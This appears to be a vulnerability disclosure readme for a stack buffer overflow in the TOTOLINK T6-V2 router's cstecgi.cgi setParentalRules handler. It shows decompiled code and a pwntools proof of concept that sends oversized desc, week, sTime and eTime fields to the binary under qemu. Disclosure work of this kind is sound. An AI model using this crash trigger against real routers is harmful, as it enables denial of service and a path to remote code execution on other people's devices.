d1tto add totolink T6-v2 ... on May 29 History

..

img	6 months ago
readme.md	6 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=products&id=16&ids=33
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=16&ids=36

Affected version

T6-V2 V4.1.9cu.5179_B20201015

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_004133c4` (at address 0x4133c4) gets the JSON parameter `desc`, `week`, `sTime`, `eTime`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

Decompile: FUN_004133c4 - (cstecgi.cgi)

```
64      local_2c = 0;
65      mac_ptr = (char *)websGetVar(param_1,"mac","");
66      desc_ptr = (char *)websGetVar(param_1,"desc","");
67      week_ptr = websGetVar(param_1,"week","");
68      sTime_ptr = websGetVar(param_1,"sTime","");
69      eTime_ptr = websGetVar(param_1,"eTime","");
70      pcVar3 = (char *)websGetVar(param_1,"state","");
71      state_value = atoi(pcVar3);
72      if (addEffect_value == 0) {
73        apmib_get(0x1839,&local_40);
74        if (0x1f < local_40) goto LAB_00413764;
75        addEffect_value = 0;
76        cVar1 = *mac_ptr;
77        while (cVar1 != '\0') {
78          if (cVar1 != ':') {
79            *(char *)((int)&local_368 + addEffect_value) = cVar1;
80            addEffect_value = addEffect_value + 1;
81          }
82          pcVar3 = (char *)((int)mac_ptr + 1);
83          mac_ptr = (char *)((int)mac_ptr + 1);
84          cVar1 = *pcVar3;
85        }
86        if ((char)local_368 == '\0') goto LAB_00413764;
87        sVar4 = strlen((char *)&local_368);
88        FUN_004232bc(&local_368,auStack856,sVar4);
89        strcpy(acStack786,desc_ptr);
90        sprintf((char *)&local_38,"%s,%s,%s",week_ptr,sTime_ptr,eTime_ptr);
91        strcpy(acStack850,(char *)&local_38);
92        local_2d2 = (char)state_value;
93        apmib_set(0x2183c,auStack856);
94        apmib_set(0x1183b,auStack856);
```

PoC

```
from pwn import *
import json

data = {
    "topicurl": "setting/setParentalRules",
    "addEffect": "0",
    "mac": "12:34:56:78",
    "desc": 'A'*0x400,
    "week": 'A'*0x400,
    "sTime": 'A'*0x400,
    "eTime": 'A'*0x400
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mipsel-static",
```

```
    "-g", "1234",
    "-L", "./root/",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)
a.sendline(data.encode())

a.interactive()
```